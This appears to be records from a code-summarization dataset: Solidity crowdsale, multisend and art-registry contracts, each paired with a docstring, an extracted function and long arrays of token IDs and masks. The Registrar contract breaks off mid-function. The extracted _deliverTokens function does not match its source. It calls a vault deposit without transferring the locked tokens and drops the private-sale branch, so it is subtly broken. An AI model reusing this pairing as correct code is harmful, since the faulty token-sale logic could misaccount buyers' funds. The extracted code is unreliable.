[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 7516, 12, 2867, 389, 24454, 16, 2254, 5034, 389, 16172, 13, 1071, 8843, 429, 1661, 426, 8230, 970, 5024, 288, 203, 3639, 2583, 24899, 2972, 1016, 397, 389, 16172, 1648, 9617, 28803, 14443, 49, 474, 16, 315, 1248, 7304, 7962, 312, 474, 329, 2430, 1199, 1769, 203, 203, 3639, 3626, 13899, 9762, 329, 12, 3576, 18, 15330, 16, 389, 24454, 16, 787, 1345, 548, 16, 389, 16172, 1769, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; import "./zeppelin/token/ERC20/SafeERC20.sol"; import "./zeppelin/math/SafeMath.sol"; import "./utils/SaleWithListAndVault.sol"; import "./SEADToken.sol"; /** * @title SEADSale * @dev SEADSale is a extend contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. */ contract SEADSale is SaleWithListAndVault { using SafeMath for uint256; using SafeERC20 for SEADToken; uint256 public millionUnit = 10 ** 24; // 18 Decimals + 6 To_Million uint256 public tokenPrivateToGWei = 588000; uint256 public tokenPublic1ToGWei = 788000; uint256 public tokenPublic2ToGWei = 824000; uint256 public tokenPublic3ToGWei = 859000; /** * @param _rate Number of token units a buyer gets per wei * @param _fundWallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function SEADSale ( uint256 _rate, address _fundWallet, SEADToken _token, uint256 _openingTime, uint256 _closingTime, address _reserveWallet ) public SaleWithListAndVault( _rate, _fundWallet, _token, _openingTime, _closingTime, _reserveWallet ) { supplyFounder = 50 * millionUnit; supplyInvestor = 20 * millionUnit; supplyPrivate = 50 * millionUnit; softCap = 20 * millionUnit; } /* * @dev Setup timestamp for each sale phase */ function initialDate( uint256 _startPrivateSaleTime, uint256 _startPublicSaleTime1, uint256 _startPublicSaleTime2, uint256 _startPublicSaleTime3 ) external onlyOwner { startPrivateSaleTime = _startPrivateSaleTime; startPublicSaleTime1 = _startPublicSaleTime1; startPublicSaleTime2 = _startPublicSaleTime2; startPublicSaleTime3 = _startPublicSaleTime3; } /* * @dev Setup token allocation limitaion for each sale phase */ function initialSale() external onlyOwner { token.safeTransfer(reserveWallet, 30 * millionUnit); // transfer reserve token to reserve wallet limitInvestorSaleToken = 20 * millionUnit; limitPrivateSaleToken = 50 * millionUnit; limitPublicSaleToken1 = limitPrivateSaleToken.add(10 * millionUnit); limitPublicSaleToken2 = limitPublicSaleToken1.add(15 * millionUnit); limitPublicSaleToken3 = limitPublicSaleToken2.add(25 * millionUnit); } /* * @dev Transfer token to buyer in each sale phase. Some phase will transfer to vault */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { require(address(privateSaleVault) != address(0x0)); // Should assign vault require(address(investorVault) != address(0x0)); // Should assign vault if (block.timestamp > startPublicSaleTime1) { token.safeTransfer(_beneficiary, _tokenAmount); } else if (block.timestamp > startPrivateSaleTime) { // Transfer 60% to wallet and 40% to vault // then set deposit value uint256 lockToken = _tokenAmount.mul(40).div(100); uint256 transferToken = _tokenAmount.sub(lockToken); token.safeTransfer(_beneficiary, transferToken); // 40% transfer to beneficiary token.safeTransfer(address(privateSaleVault), lockToken); // 60% lock in vault privateSaleVault.deposit(_beneficiary, lockToken); } } /* * @dev Interface for admin to deposit token to founder vault * @param _beneficiaries founder address * @param _tokenAmounts token to deposoit */ function founderDepositMany(address[] _beneficiaries, uint256[] _tokenAmounts) external onlyOwner { vaultDepositMany(founderVault, _beneficiaries, _tokenAmounts); } /* * @dev Interface for admin to deposit token to investor vault * @param _beneficiaries investor address * @param _tokenAmounts token to deposoit */ function investorDepositMany(address[] _beneficiaries, uint256[] _tokenAmounts) external onlyOwner { vaultDepositMany(investorVault, _beneficiaries, _tokenAmounts); } /* * @dev Set exchange rate from wei to token for each sale phase * @param _privateRate rate for private sale * @param _public1Rate rate for public sale round 1 * @param _public2Rate rate for public sale round 2 * @param _public3Rate rate for public sale round 3 */ function setTokenToGWeiRate(uint256 _privateRate, uint256 _public1Rate, uint256 _public2Rate, uint256 _public3Rate) onlyOwner external { tokenPrivateToGWei = _privateRate; tokenPublic1ToGWei = _public1Rate; tokenPublic2ToGWei = _public2Rate; tokenPublic3ToGWei = _public3Rate; } /** * @dev the way in which ether is converted to tokens. Use different rate for each phase. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { if (block.timestamp > startPublicSaleTime3) { return _weiAmount.mul(1000000000).div(tokenPublic3ToGWei); } else if (block.timestamp > startPublicSaleTime2) { return _weiAmount.mul(1000000000).div(tokenPublic2ToGWei); } else if (block.timestamp > startPublicSaleTime1) { return _weiAmount.mul(1000000000).div(tokenPublic1ToGWei); } else if (block.timestamp > startPrivateSaleTime) { return _weiAmount.mul(1000000000).div(tokenPrivateToGWei); } } /* * @dev Interface to release token for founder vault */ function releaseFounderToken(address _beneficiary) external { founderVault.releaseFor(_beneficiary); } /* * @dev Interface to release token for investor vault */ function releaseInvestorToken(address _beneficiary) external { investorVault.releaseFor(_beneficiary); } /* * @dev Interface to release token for private buyer vault */ function releasePrivateToken(address _beneficiary) external { privateSaleVault.releaseFor(_beneficiary); } }
@dev Transfer token to buyer in each sale phase. Some phase will transfer to vault/ Transfer 60% to wallet and 40% to vault then set deposit value
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { if (block.timestamp > startPublicSaleTime1) { token.safeTransfer(_beneficiary, _tokenAmount); uint256 lockToken = _tokenAmount.mul(40).div(100); uint256 transferToken = _tokenAmount.sub(lockToken); privateSaleVault.deposit(_beneficiary, lockToken); } }
15,859,945
[ 1, 5912, 1147, 358, 27037, 316, 1517, 272, 5349, 6855, 18, 10548, 6855, 903, 7412, 358, 9229, 19, 12279, 4752, 9, 358, 9230, 471, 8063, 9, 358, 9229, 1508, 444, 443, 1724, 460, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 26672, 5157, 12, 2867, 389, 70, 4009, 74, 14463, 814, 16, 2254, 5034, 389, 2316, 6275, 13, 2713, 288, 203, 203, 565, 309, 261, 2629, 18, 5508, 405, 787, 4782, 30746, 950, 21, 13, 288, 203, 1377, 1147, 18, 4626, 5912, 24899, 70, 4009, 74, 14463, 814, 16, 389, 2316, 6275, 1769, 203, 203, 1377, 2254, 5034, 2176, 1345, 273, 389, 2316, 6275, 18, 16411, 12, 7132, 2934, 2892, 12, 6625, 1769, 203, 1377, 2254, 5034, 7412, 1345, 273, 389, 2316, 6275, 18, 1717, 12, 739, 1345, 1769, 203, 1377, 3238, 30746, 12003, 18, 323, 1724, 24899, 70, 4009, 74, 14463, 814, 16, 2176, 1345, 1769, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./interfaces/IArchToken.sol"; import "./lib/ReentrancyGuard.sol"; /** * @title Multisend * @dev Allows the sender to perform batch transfers of ARCH tokens */ contract Multisend is ReentrancyGuard { /// @notice ARCH token IArchToken public token; /** * @notice Construct a new Multisend contract * @param _token Address of ARCH token */ constructor(IArchToken _token) { token = _token; } /** * @notice Batches multiple transfers * @dev Must approve this contract for `totalAmount` before calling * @param totalAmount Total amount to be transferred * @param recipients Array of accounts to receive transfers * @param amounts Array of amounts to send to accounts via transfers */ function batchTransfer( uint256 totalAmount, address[] calldata recipients, uint256[] calldata amounts ) external nonReentrant { _batchTransfer(totalAmount, recipients, amounts); } /** * @notice Batches multiple transfers with approval provided by permit function * @param totalAmount Total amount to be transferred * @param recipients Array of accounts to receive transfers * @param amounts Array of amounts to send to accounts via transfers * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function batchTransferWithPermit( uint256 totalAmount, address[] calldata recipients, uint256[] calldata amounts, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external nonReentrant { token.permit(msg.sender, address(this), totalAmount, deadline, v, r, s); _batchTransfer(totalAmount, recipients, amounts); } /** * @notice Internal implementation of batch transfer * @param totalAmount Total amount to be transferred * @param recipients Array of accounts to receive transfers * @param amounts Array of amounts to send to accounts via transfers */ function _batchTransfer( uint256 totalAmount, address[] calldata recipients, uint256[] calldata amounts ) internal { require(token.allowance(msg.sender, address(this)) >= totalAmount, "Multisend::_batchTransfer: allowance too low"); require(token.balanceOf(msg.sender) >= totalAmount, "Multisend::_batchTransfer: sender balance too low"); require(recipients.length == amounts.length, "Multisend::_batchTransfer: recipients length != amounts length"); uint256 amountTransferred = 0; for (uint256 i; i < recipients.length; i++) { bool success = token.transferFrom(msg.sender, recipients[i], amounts[i]); require(success, "Multisend::_batchTransfer: failed to transfer tokens"); amountTransferred = amountTransferred + amounts[i]; } require(amountTransferred == totalAmount, "Multisend::_batchTransfer: total != transferred amount"); } }
@notice ARCH token* @notice Construct a new Multisend contract @param _token Address of ARCH token/
constructor(IArchToken _token) { token = _token; }
7,240,897
[ 1, 10586, 1147, 225, 14291, 279, 394, 7778, 291, 409, 6835, 225, 389, 2316, 5267, 434, 6052, 1792, 1147, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 12, 45, 12269, 1345, 389, 2316, 13, 288, 203, 3639, 1147, 273, 389, 2316, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.11; /* Ethart Registrar Contract: Ethart ARCHITECTURE ------------------- _________________________________________ V V Controller --> Registrar <--> Factory Contract1 --> Artwork Contract1 Factory Contract2 Artwork Contract2 ... ... Factory ContractN Artwork ContractN Controller: The controler contract is the owner of the Registrar contract and can - Set a new owner - Controll the assets of the Registrar (withdraw ETH, transfer, sell, burn pieces owned by the Registrar) - The plan is to replace the controller contract with a DAO in preperation for a possible ICO Registrar: - The Registrar contract atcs as the central registry for all sha256 hashes in the Ethart factory contract network. - Approved Factory Contracts can register sha256 hashes using the Registrar interface. - 2.5% of the art produced and 2.5% of turnover of the contract network will be transfered to the Registrar. Factory Contracts: - Factory Contracts can spawn Artwork Contracts in line with artists specifications - Factory Contracts will only spawn Artwork Contracts who&#39;s sha256 hashes are unique per the Registrar&#39;s sha256 registry - Factory Contracts will register every new Artwork Contract with it&#39;s details with the Registrar contract Artwork Contracts: - Artwork Contracts act as minimalist decentralized exchanges for their pieces in line with specified conditions - Artwork Contracts will interact with the Registrar to issue buyers of pieces a predetermined amount of Patron tokens based on the transaction value - Artwork Contracts can be interacted with by the Controller via the Registrar using their interfaces to transfer, sell, burn etc pieces (c) Stefan Pernar 2017 - all rights reserved (c) ERC20 functions BokkyPooBah 2017. The MIT Licence. */ contract Interface { // Ethart network interface function registerArtwork (address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros); function isSHA256HashRegistered (bytes32 _SHA256Hash) returns (bool _registered); // Check if a sha256 hash is registared function isFactoryApproved (address _factory) returns (bool _approved); // Check if an address is a registred factory contract function issuePatrons (address _to, uint256 _amount); // Issues Patron tokens according to conditions specified in factory contracts function approveFactoryContract (address _factoryContractAddress, bool _approved); // Approves/disapproves factory contracts. function changeOwner (address newOwner); // Change the registrar&#39;s owner. function offerPieceForSaleByAddress (address _contract, uint256 _price); // Sell a piece owned by the registrar. function offerPieceForSale (uint256 _price); function fillBidByAddress (address _contract); // Fill a bid with an unindexed piece owned by the registrar function fillBid(); function cancelSaleByAddress (address _contract); // Cancel the sale of an unindexed piece owned by the registrar function cancelSale(); function offerIndexedPieceForSaleByAddress (address _contract, uint256 _index, uint256 _price); // Sell an indexed piece owned by the registrar. function offerIndexedPieceForSale(uint256 _index, uint256 _price); function fillIndexedBidByAddress (address _contract, uint256 _index); // Fill a bid with an indexed piece owned by the registrar function fillIndexedBid (uint256 _index); function cancelIndexedSaleByAddress (address _contract); // Cancel the sale of an unindexed piece owned by the registrar function cancelIndexedSale(); function transferByAddress (address _contract, uint256 _amount, address _to); // Transfers unindexed pieces owned by the registrar contract function transferIndexedByAddress (address _contract, uint256 _index, address _to); // Transfers indexed pieces owned by the registrar contract function approveByAddress (address _contract, address _spender, uint256 _amount); // Sets an allowance for unindexed pieces owned by the registrar contract function approveIndexedByAddress (address _contract, address _spender, uint256 _index); // Sets an allowance for indexed pieces owned by the registrar contract function burnByAddress (address _contract, uint256 _amount); // Burn an unindexed piece owned by the registrar contract function burnFromByAddress (address _contract, uint256 _amount, address _from); // Burn an unindexed piece owned by annother address function burnIndexedByAddress (address _contract, uint256 _index); // Burn an indexed piece owned by the registrar contract function burnIndexedFromByAddress (address _contract, address _from, uint256 _index); // Burn an indexed piece owned by another address // ERC20 interface function totalSupply() constant returns (uint256 totalSupply); // Returns the total supply of an artwork or token function balanceOf(address _owner) constant returns (uint256 balance); // Returns an address&#39; balance of an artwork or token function transfer(address _to, uint256 _value) returns (bool success); // Transfers pieces of art or tokens to an address function transferFrom(address _from, address _to, uint256 _value) returns (bool success); // Transfers pieces of art of tokens owned by another address to an address function approve(address _spender, uint256 _value) returns (bool success); // Sets an allowance for an address function allowance(address _owner, address _spender) constant returns (uint256 remaining); // Returns the allowance of an address for another address // Additional token functions function burn(uint256 _amount) returns (bool success); // Burns (removes from circulation) unindexed pieces of art or tokens. // In the case of &#39;ouroboros&#39; pieces this function also returns the piece&#39;s // components to the message sender function burnFrom(address _from, uint256 _amount) returns (bool success); // Burns (removes from circulation) unindexed pieces of art or tokens // owned by another address. In the case of &#39;ouroboros&#39; pieces this // function also returns the piece&#39;s components to the message sender // Extended ERC20 interface for indexed pieces function transferIndexed (address _to, uint256 __index) returns (bool success); // Transfers an indexed piece of art function transferFromIndexed (address _from, address _to, uint256 _index) returns (bool success); // Transfers an indexed piece of art from another address function approveIndexed (address _spender, uint256 _index) returns (bool success); // Sets an allowance for an indexed piece of art for another address function burnIndexed (uint256 _index); // Burns (removes from circulation) indexed pieces of art or tokens. // In the case of &#39;ouroboros&#39; pieces this function also returns the // piece&#39;s components to the message sender function burnIndexedFrom (address _owner, uint256 _index); // Burns (removes from circulation) indexed pieces of art or tokens // owned by another address. In the case of &#39;ouroboros&#39; pieces this // function also returns the piece&#39;s components to the message sender } contract Registrar { // Patron token ERC20 public variables string public constant symbol = "ART"; string public constant name = "Patron - Ethart Network Token"; uint8 public constant decimals = 18; uint256 _totalPatronSupply; event Transfer(address indexed _from, address _to, uint256 _value); event Approval(address indexed _owner, address _spender, uint256 _value); event Burn(address indexed _owner, uint256 _amount); // Patron token balances for each account mapping(address => uint256) public balances; // Patron token balances event NewArtwork(address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros); // Owner of account approves the transfer of an amount of Patron tokens to another account mapping(address => mapping (address => uint256)) allowed; // Patron token allowances // BEGIN ERC20 functions (c) BokkyPooBah 2017. The MIT Licence. function totalSupply() constant returns (uint256 totalPatronSupply) { totalPatronSupply = _totalPatronSupply; } // What is the balance of a particular account? function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } // Transfer the balance from owner&#39;s account to another account function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] && _to != 0x0) // use burn() instead { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false;} } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _amount) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] && _to != 0x0) // use burn() instead { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else {return false;} } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // END ERC20 functions (c) BokkyPooBah 2017. The MIT Licence. // Additional Patron token functions function burn(uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount) { balances[msg.sender] -= _amount; _totalPatronSupply -= _amount; Burn(msg.sender, _amount); return true; } else {throw;} } function burnFrom(address _from, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value) { balances[_from] -= _value; allowed[_from][msg.sender] -= _value; _totalPatronSupply -= _value; Burn(_from, _value); return true; } else {throw;} } // Ethart variables mapping (bytes32 => address) public SHA256HashRegister; // Register of all SHA256 Hashes mapping (address => bool) public approvedFactories; // Register of all approved factory contracts mapping (address => bool) public approvedContracts; // Register of all approved artwork contracts mapping (address => address) public referred; // Register of all referrers (referree => referrer) used for the affiliate program mapping (address => bool) public cantSetReferrer; // Referrer for an artist has to be set _before_ the first piece has been created by an address struct artwork { bytes32 SHA256Hash; uint256 editionSize; string title; string fileLink; uint256 ownerCommission; address artist; address factory; bool isIndexed; bool isOuroboros;} mapping (address => artwork) public artworkRegister; // Register of all artworks and their details // An indexed register of all of an artist&#39;s artworks mapping(address => mapping (uint256 => address)) public artistsArtworks; // Enter artist address and a running number to get the artist&#39;s artwork addresses. mapping(address => uint256) public artistsArtworkCount; // A running number counting an artist&#39;s artworks mapping(address => address) public artworksFactory; // Maps all artworks to their respective factory contracts uint256 artworkCount; // Keeps track of the number of artwork contracts in the network mapping (uint256 => address) public artworkIndex; // An index of all the artwork contracts in the network address public owner; // The address of the contract owner uint256 public donationMultiplier; // Functions with this modifier can only be executed by a specific address modifier onlyBy (address _account) { require(msg.sender == _account); _; } // Functions with this modifier can only be executed by approved factory contracts modifier registerdFactoriesOnly () { require(approvedFactories[msg.sender]); _; } modifier approvedContractsOnly () { require(approvedContracts[msg.sender]); _; } function setReferrer (address _referrer) { if (referred[msg.sender] == 0x0 && !cantSetReferrer[msg.sender]) { referred[msg.sender] = _referrer; } } function Registrar () { owner = msg.sender; donationMultiplier = 100; } // allows the current owner to assign a new owner function changeOwner (address newOwner) onlyBy (owner) { owner = newOwner; } function issuePatrons (address _to, uint256 _amount) approvedContractsOnly { balances[_to] += _amount; _totalPatronSupply += _amount; } function setDonationReward (uint256 _multiplier) onlyBy (owner) { donationMultiplier = _multiplier; } function donate () payable { balances[msg.sender] += msg.value * donationMultiplier; _totalPatronSupply += msg.value * donationMultiplier; } function registerArtwork (address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros) registerdFactoriesOnly { if (SHA256HashRegister[_SHA256Hash] == 0x0) { SHA256HashRegister[_SHA256Hash] = _contract; approvedContracts[_contract] = true; cantSetReferrer[_artist] = true; artworkRegister[_contract].SHA256Hash = _SHA256Hash; artworkRegister[_contract].editionSize = _editionSize; artworkRegister[_contract].title = _title; artworkRegister[_contract].fileLink = _fileLink; artworkRegister[_contract].ownerCommission = _ownerCommission; artworkRegister[_contract].artist = _artist; artworkRegister[_contract].factory = msg.sender; artworkRegister[_contract].isIndexed = _indexed; artworkRegister[_contract].isOuroboros = _ouroboros; artworkIndex[artworkCount] = _contract; artistsArtworks[_artist][artistsArtworkCount[_artist]] = _contract; artistsArtworkCount[_artist]++; artworksFactory[_contract] = msg.sender; NewArtwork (_contract, _SHA256Hash, _editionSize, _title, _fileLink, _ownerCommission, _artist, _indexed, _ouroboros); artworkCount++; } else {throw;} } function isSHA256HashRegistered (bytes32 _SHA256Hash) returns (bool _registered) { if (SHA256HashRegister[_SHA256Hash] == 0x0) {return false;} else {return true;} } function approveFactoryContract (address _factoryContractAddress, bool _approved) onlyBy (owner) { approvedFactories[_factoryContractAddress] = _approved; } function isFactoryApproved (address _factory) returns (bool _approved) { if (approvedFactories[_factory]) { return true; } else {return false;} } function withdrawFunds (uint256 _ETHAmount, address _to) onlyBy (owner) { if (this.balance >= _ETHAmount) { _to.transfer(_ETHAmount); } else {throw;} } function transferByAddress (address _contract, uint256 _amount, address _to) onlyBy (owner) { Interface c = Interface(_contract); c.transfer(_to, _amount); } function transferIndexedByAddress (address _contract, uint256 _index, address _to) onlyBy (owner) { Interface c = Interface(_contract); c.transferIndexed(_to, _index); } function approveByAddress (address _contract, address _spender, uint256 _amount) onlyBy (owner) { Interface c = Interface(_contract); c.approve(_spender, _amount); } function approveIndexedByAddress (address _contract, address _spender, uint256 _index) onlyBy (owner) { Interface c = Interface(_contract); c.approveIndexed(_spender, _index); } function burnByAddress (address _contract, uint256 _amount) onlyBy (owner) { Interface c = Interface(_contract); c.burn(_amount); } function burnFromByAddress (address _contract, uint256 _amount, address _from) onlyBy (owner) { Interface c = Interface(_contract); c.burnFrom (_from, _amount); } function burnIndexedByAddress (address _contract, uint256 _index) onlyBy (owner) { Interface c = Interface(_contract); c.burnIndexed(_index); } function burnIndexedFromByAddress (address _contract, address _from, uint256 _index) onlyBy (owner) { Interface c = Interface(_contract); c.burnIndexedFrom(_from, _index); } function offerPieceForSaleByAddress (address _contract, uint256 _price) onlyBy (owner) { Interface c = Interface(_contract); c.offerPieceForSale(_price); } function fillBidByAddress (address _contract) onlyBy (owner) // Fill a bid with an unindexed piece owned by the registrar { Interface c = Interface(_contract); c.fillBid(); } function cancelSaleByAddress (address _contract) onlyBy (owner) // Cancel the sale of an unindexed piece owned by the registrar { Interface c = Interface(_contract); c.cancelSale(); } function offerIndexedPieceForSaleByAddress (address _contract, uint256 _index, uint256 _price) onlyBy (owner) // Sell an indexed piece owned by the registrar. { Interface c = Interface(_contract); c.offerIndexedPieceForSale(_index, _price); } function fillIndexedBidByAddress (address _contract, uint256 _index) onlyBy (owner) // Fill a bid with an indexed piece owned by the registrar { Interface c = Interface(_contract); c.fillIndexedBid(_index); } function cancelIndexedSaleByAddress (address _contract) onlyBy (owner) // Cancel the sale of an unindexed piece owned by the registrar { Interface c = Interface(_contract); c.cancelIndexedSale(); } function() payable { if (!approvedContracts[msg.sender]) {throw;} // use donate () for donations and you will get donationMultiplier * your donation in Patron tokens. Yay! 